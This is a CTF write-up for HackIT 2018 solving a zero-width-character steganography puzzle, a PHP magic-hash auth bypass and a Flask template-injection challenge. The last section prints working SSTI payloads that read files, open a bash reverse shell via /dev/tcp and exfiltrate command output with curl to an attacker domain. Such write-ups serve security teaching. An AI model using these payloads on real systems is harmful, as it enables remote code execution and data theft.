HackIT CTF 2018 - Write-ups

πŸ”—Information

πŸ”—CTF

  • Name : HackIT CTF 2018
  • Website : ctf.hackit.ua
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

πŸ”—1 - Get Going - Misc

https://ctf.hackit.ua/w31c0m3

There is a message:

1
Wβ€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€β€Œβ€Žβ€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€β€‹β€Žβ€‹β€‹β€‹β€‹β€β€β€Žβ€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€‹β€Žβ€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€Œβ€‹β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€β€Œβ€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€Œβ€β€β€‹β€‹β€‹β€‹β€β€Žβ€Œβ€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€β€β€‹β€‹β€‹β€‹β€‹β€Œβ€β€β€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€Œβ€β€Žβ€‹β€‹β€‹β€‹β€β€‹β€‹β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€Œβ€‹β€‹β€‹elcome to the HackIT 2018 CTF, flag is somewhere here. Β―_(ツ)_/Β―

And only that.

Then two hints where added:

Get Going hint: Do you see only Ascii on that w3lcome(put the correct word of that page) page. Really? Get Going hint2: Zero Width Concept.

As we can see here there is a lot of invisible characters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
$ xxd welcome
00000000: 57e2 808b e280 8be2 808b e280 8be2 808f W...............
00000010: e280 8be2 808d e280 8be2 808b e280 8be2 ................
00000020: 808b e280 8fe2 808c e280 8ee2 808b e280 ................
00000030: 8be2 808b e280 8be2 808e e280 8fe2 808d ................
00000040: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
00000050: 808b e280 8ee2 808b e280 8be2 808b e280 ................
00000060: 8be2 808f e280 8fe2 808e e280 8be2 808b ................
00000070: e280 8be2 808b e280 8fe2 808e e280 8fe2 ................
00000080: 808b e280 8be2 808b e280 8be2 808d e280 ................
00000090: 8be2 808c e280 8be2 808b e280 8be2 808b ................
000000a0: e280 8ee2 808f e280 8be2 808b e280 8be2 ................
000000b0: 808b e280 8be2 808f e280 8be2 808e e280 ................
000000c0: 8be2 808b e280 8be2 808b e280 8fe2 808d ................
000000d0: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
000000e0: 808d e280 8be2 808c e280 8be2 808b e280 ................
000000f0: 8be2 808b e280 8de2 808b e280 8ce2 808b ................
00000100: e280 8be2 808b e280 8be2 808d e280 8ce2 ................
00000110: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000120: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
00000130: e280 8be2 808f e280 8be2 808f e280 8be2 ................
00000140: 808b e280 8be2 808b e280 8de2 808b e280 ................
00000150: 8de2 808b e280 8be2 808b e280 8be2 808e ................
00000160: e280 8fe2 808f e280 8be2 808b e280 8be2 ................
00000170: 808b e280 8fe2 808c e280 8de2 808b e280 ................
00000180: 8be2 808b e280 8be2 808d e280 8be2 808c ................
00000190: e280 8be2 808b e280 8be2 808b e280 8fe2 ................
000001a0: 808d e280 8fe2 808b e280 8be2 808b e280 ................
000001b0: 8be2 808f e280 8fe2 808d e280 8be2 808b ................
000001c0: e280 8be2 808b e280 8ee2 808f e280 8be2 ................
000001d0: 808b e280 8be2 808b e280 8be2 808f e280 ................
000001e0: 8ee2 808f e280 8be2 808b e280 8be2 808b ................
000001f0: e280 8ce2 808f e280 8fe2 808b e280 8be2 ................
00000200: 808b e280 8be2 808f e280 8ee2 808c e280 ................
00000210: 8be2 808b e280 8be2 808b e280 8fe2 808b ................
00000220: e280 8fe2 808b e280 8be2 808b e280 8be2 ................
00000230: 808e e280 8fe2 808b e280 8be2 808b e280 ................
00000240: 8be2 808b e280 8fe2 808e e280 8de2 808b ................
00000250: e280 8be2 808b e280 8be2 808f e280 8de2 ................
00000260: 808b e280 8be2 808b e280 8be2 808b e280 ................
00000270: 8ce2 808f e280 8fe2 808b e280 8be2 808b ................
00000280: e280 8be2 808e e280 8fe2 808f e280 8be2 ................
00000290: 808b e280 8be2 808b e280 8ce2 808f e280 ................
000002a0: 8ee2 808b e280 8be2 808b e280 8be2 808f ................
000002b0: e280 8be2 808b e280 8be2 808b e280 8be2 ................
000002c0: 808b e280 8de2 808b e280 8ce2 808b e280 ................
000002d0: 8be2 808b e280 8ce2 808b e280 8be2 808b ................
000002e0: 656c 636f 6d65 2074 6f20 7468 6520 4861 elcome to the Ha
000002f0: 636b 4954 2032 3031 3820 4354 462c 2066 ckIT 2018 CTF, f
00000300: 6c61 6720 6973 2073 6f6d 6577 6865 7265 lag is somewhere
00000310: 2068 6572 652e 20c2 af5f 28e3 8384 295f here. .._(...)_
00000320: 2fc2 af20 0a /.. .

Then I read this article: Be careful what you copy: Invisibly inserting usernames into text with Zero-Width Characters, I invite you to read it.

This technique was used to fingerprint journalists when copy/pasting.

Finally I installed zwsp-steg and write this very short script in javascript:

1
2
3
4
5
const ZwspSteg = require('zwsp-steg');

let decoded = ZwspSteg.decode('Wβ€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€β€Œβ€Žβ€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€β€‹β€Žβ€‹β€‹β€‹β€‹β€β€β€Žβ€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€‹β€Žβ€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€Œβ€‹β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€β€Œβ€β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€β€β€β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€Œβ€β€β€‹β€‹β€‹β€‹β€β€Žβ€Œβ€‹β€‹β€‹β€‹β€β€‹β€β€‹β€‹β€‹β€‹β€Žβ€β€‹β€‹β€‹β€‹β€‹β€β€Žβ€β€‹β€‹β€‹β€‹β€β€β€‹β€‹β€‹β€‹β€‹β€Œβ€β€β€‹β€‹β€‹β€‹β€Žβ€β€β€‹β€‹β€‹β€‹β€Œβ€β€Žβ€‹β€‹β€‹β€‹β€β€‹β€‹β€‹β€‹β€‹β€‹β€β€‹β€Œβ€‹β€‹β€‹β€Œβ€‹β€‹β€‹elcome to the HackIT 2018 CTF, flag is somewhere here. Β―_(ツ)_/Β― ');

console.log(decoded); // hidden message

Then I grabbed the flag:

1
2
$ node decode.js 
flag{w3_gr337_h4ck3rz_w1th_un1c0d3}

πŸ”—BabyPeeHPee - Web

Prove you are not a baby: http://185.168.130.148/

So we have the source code of the app and auth.so, a dynamic library used for authentication.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
$username = substr($_GET['u'],0,25);
$password = substr($_GET['p'],0,45);
echo "Hello <b>Baby:</b><br>You may need <a href=\"/?source\">this</a> and/or <a href=\"/auth.so\">this</a><br>";
if (isset($_GET['source'])){
show_source(__FILE__);
}
$digest = @auth($username,$password);
if (md5($username) == md5($digest) and $digest !== $username){
echo "you are a good boy here is your flag : <b>$flag</b>";
}
else {
echo "you are not a good boy so no flag for you :(";
}

This piece of code (md5($username) == md5($digest) and $digest !== $username) looks like we will have to do a classic PHP type juggling.

If you are not used to read my write-ups, I invite you to read PHP Magic Tricks: Type Juggling by Chris Smith and Magic Hashes by Robert Hansen.

But currently we don't know what is the digest $digest = @auth($username,$password);, that's why we need to reverse auth.so.

Once someone of my team told me that in auth.so digest was outputting a hardcoded string and it was possible to overflow it at a fixed length, I began to work on that.

From PayloadsAllTheThings we already know that md5('240610708') == md5('QNKCDZO') in PHP.

So we need to overflow $digest with a value we control in $password, so we will have md5('magic_hash_1') == md5('overflow' + 'magic_hash_2') but md5('magic_hash_1') !== md5('magic_hash_2').

The only thing left is to know the buffer length that we will need to overflow. We have multiple choices:

  • continue to reverse auth.so (long and boring)
  • inject auth.so in a local copy of the website and find by ourselves
  • bruteforce until we have it (quick and fun)

We already know that password can't be larger than 46 chars $password = substr($_GET['p'],0,45);, so the overflow must be smaller or equal. Basically this will take less than 46 requests to the remote server to find out.

So we can bruteforce password by adding A one by one like this:

1
2
3
http://185.168.130.148/?u=240610708&p=A240610708
http://185.168.130.148/?u=240610708&p=AA240610708
http://185.168.130.148/?u=240610708&p=AAA240610708

Or we can be smarter and imagine the buffer will probably be a power of 2 and test only those.

The answer was http://185.168.130.148/?u=240610708&p=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA240610708.

1
2
irb(main):001:0> 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.size
=> 32

There are 32 = 2^5 A to overflow the hardcoded digest.

The flag was flag{here_is_a_warmup_chal_for_u_baby_}.

πŸ”—Believer Case - Web

We managed to hack one of the systems, and its owner contacted us back. He asked us to check his fix. We did not find anything. Can you?

http://185.168.131.123

The website is welcoming us with a message:

1
Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? See this

http://185.168.131.123/test is displaying test so we are maybe dealing with a template injection.

Let's try to fuzz:

  • http://185.168.131.123/%7B%7B%7D%7D => Internal Server Error: sounds good
  • http://185.168.131.123/%7B%7B7*6%7D%7D => 42: SSTI confirmed
  • http://185.168.131.123/%7B%7Bconfig%7D%7D => Internal Server Error: config must be blacklisted
  • http://185.168.131.123/%7B%7Bg%7D%7D => <flask.g of 'app'> nice we have a Flask web app

So from Shrine web challenge we did not so long ago during Tokyo Western CTF, I take back our previous payload and modified it a little: http://185.168.131.123/%7B%7Burl_for.__globals__.current_app.__dict__%7D%7D.

We are used to url_for, let's use get_flashed_messages to change :D

http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.__dict__%7D%7D is dumping all global variables from the Flask app context:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
{
'subdomain_matching': False,
'error_handler_spec': {
None: {}
},
'_before_request_lock': < thread.lock object at 0x7fde0c62b730 > ,
'jinja_env': < flask.templating.Environment object at 0x7fde0c38fe90 > ,
'before_request_funcs': {},
'teardown_appcontext_funcs': [],
'shell_context_processors': [],
'after_request_funcs': {},
'cli': < flask.cli.AppGroup object at 0x7fde0c38f990 > ,
'_blueprint_order': [],
'before_first_request_funcs': [],
'view_functions': {
'blacklist_template': < function blacklist_template at 0x7fde0c38bb18 > ,
'index_template': < function index_template at 0x7fde0c38baa0 > ,
'static': < bound method Flask.send_static_file of < Flask 'app' >>
},
'instance_path': '/opt/app/instance',
'teardown_request_funcs': {},
'logger': < logging.Logger object at 0x7fde0c341b50 > ,
'url_value_preprocessors': {},
'config': < Config {
'JSON_AS_ASCII': True,
'USE_X_SENDFILE': False,
'SESSION_COOKIE_SECURE': False,
'SESSION_COOKIE_PATH': None,
'SESSION_COOKIE_DOMAIN': None,
'SESSION_COOKIE_NAME': 'session',
'MAX_COOKIE_SIZE': 4093,
'SESSION_COOKIE_SAMESITE': None,
'PROPAGATE_EXCEPTIONS': None,
'ENV': 'production',
'DEBUG': False,
'SECRET_KEY': None,
'EXPLAIN_TEMPLATE_LOADING': False,
'MAX_CONTENT_LENGTH': None,
'APPLICATION_ROOT': '/',
'SERVER_NAME': None,
'PREFERRED_URL_SCHEME': 'http',
'JSONIFY_PRETTYPRINT_REGULAR': False,
'TESTING': False,
'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
'TEMPLATES_AUTO_RELOAD': None,
'TRAP_BAD_REQUEST_ERRORS': None,
'JSON_SORT_KEYS': True,
'JSONIFY_MIMETYPE': 'application/json',
'SESSION_COOKIE_HTTPONLY': True,
'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
'PRESERVE_CONTEXT_ON_EXCEPTION': None,
'SESSION_REFRESH_EACH_REQUEST': True,
'TRAP_HTTP_EXCEPTIONS': False
} > ,
'_static_url_path': None,
'jinja_loader': < jinja2.loaders.FileSystemLoader object at 0x7fde0c297410 > ,
'template_context_processors': {
None: [ < function _default_template_ctx_processor at 0x7fde0c374ed8 > ]
},
'template_folder': 'templates',
'blueprints': {},
'url_map': Map([ < Rule '/' (HEAD, OPTIONS, GET) - > index_template > , < Rule '/static/<filename>' (HEAD, OPTIONS, GET) - > static > , < Rule '/<template>' (HEAD, OPTIONS, GET) - > blacklist_template > ]),
'name': 'app',
'_got_first_request': True,
'import_name': 'app',
'root_path': '/opt/app',
'_static_folder': 'static',
'extensions': {},
'url_default_functions': {},
'url_build_error_handlers': []
}

http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.current_app.config%7D%7D => Internal Server Error, this should work, it actually works for any other variables, config must be blacklisted.

I can access object, eval, file, socket and os from http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__%7D%7D

So we can read the source of the challenge for example with http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.__builtins__.file('/opt/app/app.py').read()%7D%7D.

1
2
3
4
5
from flask
import Flask, render_template, render_template_string app = Flask(__name__) def blacklist_replace(template): blacklist = ["[", "]", "config", "self", "from_pyfile", "|", "join", "mro", "class", "request", "pop", "attr", "args", "+"]
for b in blacklist: if b in template: template = template.replace(b, "") return template @app.route("/") def index_template(): return "Hello! I have been contacted by those who try to save the network. I tried to protect myself. Can you test out if I am secure now? <a href='/test'>See this</a>"
@app.route("/<path:template>") def blacklist_template(template): if len(template) > 10000: return "This is too long"
while blacklist_replace(template) != template: template = blacklist_replace(template) return render_template_string(template) if __name__ == '__main__': app.run(debug = False)

The source is not so useful but allow us to see what is blacklisted. Now let's os, we have access to it!

With http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('bash -i >& /dev/tcp/x.x.x.x/9999 0>&1')%7D%7D we tried to lunch a reverse shell but as the challenge app should be in a docker container, only the web port must be exposed.

So instead of using raw TCP connection k3y has the idea to make a HTTP connection like this http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl mydomain:8080')%7D%7D.

I used a python HTTP reflector script on my server but it is possible to use some service like requestbin.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/env python
# Reflects the requests from HTTP methods GET, POST, PUT, and DELETE
# Written by Nathan Hamiel (2010)

from http.server import HTTPServer, BaseHTTPRequestHandler
from optparse import OptionParser

class RequestHandler(BaseHTTPRequestHandler):

def do_GET(self):

request_path = self.path

print("\n----- Request Start ----->\n")
print("Request path:", request_path)
print("Request headers:", self.headers)
print("<----- Request End -----\n")

self.send_response(200)
self.send_header("Set-Cookie", "foo=bar")
self.end_headers()

def do_POST(self):

request_path = self.path

print("\n----- Request Start ----->\n")
print("Request path:", request_path)

request_headers = self.headers
content_length = request_headers.get('Content-Length')
length = int(content_length) if content_length else 0

print("Content Length:", length)
print("Request headers:", request_headers)
print("Request payload:", self.rfile.read(length))
print("<----- Request End -----\n")

self.send_response(200)
self.end_headers()

do_PUT = do_POST
do_DELETE = do_GET

def main():
port = 8080
print('Listening on localhost:%s' % port)
server = HTTPServer(('', port), RequestHandler)
server.serve_forever()


if __name__ == "__main__":
parser = OptionParser()
parser.usage = ("Creates an http-server that will echo out any GET or POST parameters\n"
"Run:\n\n"
" reflect")
(options, args) = parser.parse_args()

main()

Now let's mess with the RCE:

  • http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(id)')%7D%7D => 185.168.131.123 - - [09/Sep/2018 20:01:55] "GET /uid=65534(nobody) HTTP/1.1" 200 -
  • http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(ls flag*)')%7D%7D => 185.168.131.123 - - [09/Sep/2018 20:09:14] "GET /flag_secret_file_910230912900891283 HTTP/1.1" 200 -
  • http://185.168.131.123/%7B%7Bget_flashed_messages.__globals__.os.system('curl http://mydomain:8080/$(cat flag_secret_file_910230912900891283)')%7D%7D => 185.168.131.123 - - [09/Sep/2018 20:10:25] "GET /flagblacklists_are_insecure_even_if_you_do_not_know_the_bypass_friend_1023092813 HTTP/1.1" 200 -

k3y used %7B%7B get_flashed_messages.__globals__.os.listdir('.')%7D%7D to list the files instead of shell globbing like me.

Share